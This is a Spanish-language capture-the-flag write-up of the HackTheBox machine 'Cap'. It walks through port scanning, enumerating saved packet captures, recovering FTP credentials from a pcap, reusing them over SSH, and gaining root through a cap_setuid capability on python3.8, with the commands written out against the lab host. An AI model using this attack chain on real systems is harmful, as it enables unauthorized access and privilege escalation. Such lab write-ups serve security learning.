HackTheBox - Cap

Lanz
Funk Lanz el
HackTheBox - Cap

Máquina Linux nivel fácil. Jugaremos con capturas de red, encontraremos credenciales y haremos uso de la capability setuid para mediante Python3.8 ejecutar instrucciones en el sistema como el usuario root.

351capHTB

TL;DR (Spanish writeup)

Creada por: InfoSecJack.

Holanda!

Jugaremos con un servidor web bastante locochon el cual hace escaneos para validar el tráfico de la red y guarda el resultado en un archivo .pcap con un indicador, enumerando la web encontraremos un escaneo (captura de paquete) fuera de la vista, dándole vueltas y jugando con WireShark lograremos encontrar unas credenciales FTP que fueron interceptadas al momento de generar ese escaneo. Las usaremos para entrar al servidor FTP, peeeero haciendo reutilización de credenciales lograremos obtener una Shell en el sistema como el usuario nathan.

Volviendo a jugar con el nombre de la máquina traeremos a nuestra enumeración de sistema la búsqueda de capabilities, encontraremos una relevante que nos permite cambiar el UID (identificador de usuario) al ejecutar el binario Python3.8, la usaremos para en vez de ejecutar Python como el usuario, nathan, ejecutarlo como el UID del usuario root, o sea, 0.

Con el propio Python y jugando con la librería os, conseguiremos una Shell como el usuario root.

Clasificación de la máquina según la gentesita

Algo de cositas manuales pero poco (bastante poco) real.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Para el menú del día les tenemos:

  1. Reconocimiento.
  2. Enumeración.
  3. Escalada de privilegios mediante una capability.

Reconocimiento #

Descubrimos puertos abiertos con nmap 📌

Como si fuera el primer día :P Vamos a enumerar la máquina inicialmente encontrando que puertos tiene abiertos, así tendremos una mejor idea de por donde empezar a buscar. Usaremos nmap:

❱ nmap -p- --open -v 10.10.10.245 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Nos da como resultado:

❱ cat initScan
# Nmap 7.80 scan initiated Fri Jun 18 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.245
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.245 () Status: Up
Host: 10.10.10.245 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Fri Jun 18 25:25:25 2021 -- 1 IP address (1 host up) scanned in 102.40 seconds

Bien, 3 servicios:

Puerto Descripción
21 FTP: Permite transferencia de archivos.
22 SSH: Acceso a una Shell de manera segura.
80 HTTP: Servidor web

Tomémoslos y hagamos nuestro escaneo de scripts y versiones relacionadas con cada puerto, así hacemos aún más pequeña nuestra búsqueda:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.245
    [*] Open ports: 21,22,80

[*] Ports copied to clipboard

)~

❱ nmap -p 21,22,80 -sC -sV 10.10.10.245 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Obtenemos:

# Nmap 7.80 scan initiated Fri Jun 18 25:25:25 2021 as: nmap -p 21,22,80 -sC -sV -oN portScan 10.10.10.245
Nmap scan report for 10.10.10.245
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Fri, 18 Jun 2021 17:20:34 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 18 Jun 2021 17:20:28 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 18 Jun 2021 17:20:28 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.80%I=7%D=6/18%Time=60CCD4FC%P=x86_64-pc-linux-gnu%r(GetR
...
...
...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 18 25:25:25 2021 -- 1 IP address (1 host up) scanned in 139.33 seconds

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
21 FTP vsftpd 3.0.3
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80 HTTP gunicorn

Por ahora nada más, démosle a ver por cuál servicio vamo a entrar 😜

Enumeración #

Puerto 80 📌

351page80

Una página al parecer relacionada con herramientas y otras cositas sobre seguridad. Dando clic en el menú desplegable de la parte superior izquierda encontramos 3 recursos

  • http://10.10.10.245/capture:

    Hace un escaneo de red de 5 segundos y genera un archivo pcap.

  • http://10.10.10.245/ip:

    Ejecuta en el sistema el comando ipconfig, mostrando así información de las ips.

  • http://10.10.10.245/netstat:

    Ejecuta netstat, mostrando los puertos internos y sus comportamientos.

Jugando con los 3, tenemos relevancia en el escaneo de red (/capture):

Como dije antes, al darle clic tenemos un delay de 5 segundos, en los cuales el sistema hace un análisis del tráfico en la red para ver que peticiones recibe o envía la máquina (todo lo que tenga que ver con la IP 10.10.10.245) y pasados los 5 segundos guarda ese tráfico de información en un archivo .pcap (que nos da la posibilidad de descargar), esto nos sirve si queremos jugar con tshark o Wireshark y ver más a fondo información de cada paquete o petición.

Si hacemos una petición contra el recurso /capture obtenemos:

351page80_capture

Varios campos, pero todos en 0, con lo cual sabemos que no paso nada (ni peticiones, ni conexiones con otros servicios, nada) en el escaneo, obtenemos un usuario que ya esta “logeado” llamado nathan y algo interesante es que tenemos un “contador” en la URL, (lo podemos tomar como un ID de cada escaneo), o sea que si la volvemos a ejecutar una petición hacia /capture va a generar un nuevo numero (ID) con la data de esa captura.

Esto nos da pie a investigar si pueden existir más ID’s que solo el 2 (y sobre todo si tienen información de paquetes), así que con un one-liner rapidongo podemos iterar y revisar si es que existen más:

❱ for i in $(seq 1 20); do echo -ne "\nData: $i "; curl -s http://10.10.10.245/data/$i | grep "Number of Packets" -A 1 | sed 's/^[[:space:]]*//' | tr -d '\n,<td>,/' | sed 's/Packes/Packes: /g'; done

Lo que pasa ahí es muy sencillo:

  1. Secuenciador de 1 a 20, cada valor (1,2,3,4…20) se guarda en i.
  2. Imprimimos “Data: i”, que sería el ID del escaneo.
  3. Hacemos la petición con cURL contra el valor i.
  4. Extraemos con grep la cadena “Number of Packets” y la línea que tenga debajo (que ahí estaría el número de paquetes).
  5. Quitamos espacios iniciales de la cadena (el resultado salía en el centro).
  6. Quitamos también saltos de línea y los caracteres <td>/.
  7. Finalmente arreglamos una parte visual, cambiamos Packes por Packets: .

Todo en conjunto imprimiría:

Data: 1 Number of Packets: 8
Data: 2 Number of Packets: 820
Data: 3 Number of Packets: 824
Data: 4 Number of Packets: 754
Data: 5 Number of Packets: 16
Data: 6 Number of Packets: 722
Data: 7 
Data: 8 
Data: 9 
Data: 10 
Data: 11 
Data: 12 
Data: 13 
Data: 14 
Data: 15 
Data: 16 
Data: 17 
Data: 18 
Data: 19 
Data: 20

(Pero es cambiante, después de un tiempo la máquina hace una limpieza y pueden variar los valores (ya que hay más gente dándole a la máquina y cada uno haciendo sus escaneos)).

En nuestro caso vemos solamente hasta el número 6…

Después de jugar con algunos paquetes, intentar logearme con SSH y con FTP y viendo si pasaba algo en medio del escaneo, nada, no veía por donde ir. PERO me di cuenta de un gran fallo (después de bastante tiempo eh! bastante bastante)…

Estaba buscando desde 1 y no desde 0 😔, ya que si jugamos desde el 0 encontramos otro resultado y es siempre el mismo:

❱ for i in $(seq 0 5); do echo -ne "\nData: $i "; curl -s http://10.10.10.245/data/$i | grep "Number of Packets" -A 1 | sed 's/^[[:space:]]*//' | tr -d '\n,<td>,/' | sed 's/Packes/Packets: /g'; done

Data: 0 Number of Packets: 72
Data: 1 Number of Packets: 8
Data: 2 Number of Packets: 820
Data: 3 Number of Packets: 50
Data: 4 Number of Packets: 3
Data: 5 Number of Packets: 16

Encontramos credenciales en un archivo .pcap 📌

Descargando el archivo .pcap y jugando con WireShark (analizador de tráfico por excelencia :P) vemos unas credenciales:

# Forma visual
❱ wireshark 0.pcap

# Desde la terminal
❱ tshark 0.pcap

351bash_wireshark_0pcap

Perfecto, unas credenciales de FTP, probemoslas:

❱ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:root): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 1001     1001      1156536 Jun 19 16:59 pspy64s
-r--------    1 1001     1001           33 Jun 19 15:41 user.txt
226 Directory send OK.
ftp>

Entramos y al parecer tenemos acceso al directorio /home del usuario nathan

Haciendo reutilización de contraseñas logramos obtener una Shell por medio de SSH como el usuario nathan:


Acceso SSH al usuario nathan 📌

Ejecutamos SSH y colocamos la contraseña:

❱ ssh nathan@10.10.10.245
nathan@10.10.10.245's password: 

Obtenemos:

351bash_ssh_nathan

¡Tamos dentro!! (:

Escalada de privilegios #

Cuando inicie la máquina tenía la idea que tenía ese nombre por capabilities (y no estaba equivocado del todo)…

Enumerando el sistema en busca de rutas potenciales para escalar al usuario root, encontramos algo llamativo al enumerar las capabilities:

🧨 Las capabilities son privilegios divididos en pequeñas fracciones, permitiendo así el otorgar distintos privilegios sin necesidad de otorgarlos todos. Logrando así por ejemplo, que si una tarea necesita realizar una operación privilegiada, cuente con ese privilegio necesario y ningún otro. Linux-Capabilities

🧢 Las capabilities nos permiten gestionar que permisos tiene un proceso para acceder a las partes del kernel. ¿Qué son las Linux Capabilities?

Bien, con la idea de que son las capabilities podemos intentar buscar si hay alguna en el sistema y si además son comprometedoras:

nathan@cap:~$ getcap -r / 2>/dev/null

Obtenemos:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Opa, tenemos algunas, jugando con esta lista de capabilities vemos que una es poderosa:

Nos permite cambiar el UID (Identificador de usuario) por medio de un proceso, en este caso con Python3.8.

Peroooo, ¿para qué queremos cambiar el UID? Bueno, tenemos un usuario que no cuenta con privilegios, sabemos que existe el usuario root (el master faster del sistema), pues aprovechamos la capability para ejecutar el proceso Python peeeero cambiando el UID con el que queremos que se ejecute, o sea cambiándolo por el del usuario root 🤪

Básicamente es como una explotación por medio de un SUID (donde le indicamos que ejecute el binario o tarea como el creador de ese mismo binario o tarea), pero en este caso usamos el privilegio setuid para en vez de ejecutar el proceso Python3.8 como nathan (UID 1001):

nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Ejecutarlo como el usuario root (siempre es 0).

Pa leer: PrivEsc using Capabilities.

Demole mecha.

Lo único que debemos hacer es obtener la ruta absoluta del binario que corre Python 3.8 e indicarle que nos ejecute una línea de programación, en ella le decimos que cambie el UID yyyyy (por ejemplo) que ejecute un comando en el sistema (por lo que ese comando lo ejecutara el usuario que haga match con el UID indicado).

nathan@cap:~$ which python3.8
/usr/bin/python3.8

Ahora ejecutamos el comando whoami (como prueba), primero validando que somos nathan y después como cualquier otro usuario (root):

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(1001); os.system("whoami")'
nathan

Perfe y ahora como root:

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("whoami")'
root

Perfectísimo, tenemos ejecución de comandos en el sistema como root, pues hagámonos una Shell:

351bash_python38_setuid_shellRoot

Y estamos en el sistema como el usuario root (:

Veamos las flags…

Hemos terminado <3

Hace mucho no sacaban una máquina fácil fácil, estas para iniciar me hubieran venido de 10 jjaajjkalsdjflkñjasdlf.

Linda máquina y fue la primera en la que toque las capabilities, así que pefeto (:

Como siempre, a seguir rompiendo todo y nos leeremos en otra ocasión ;)

Comments

comments powered by Disqus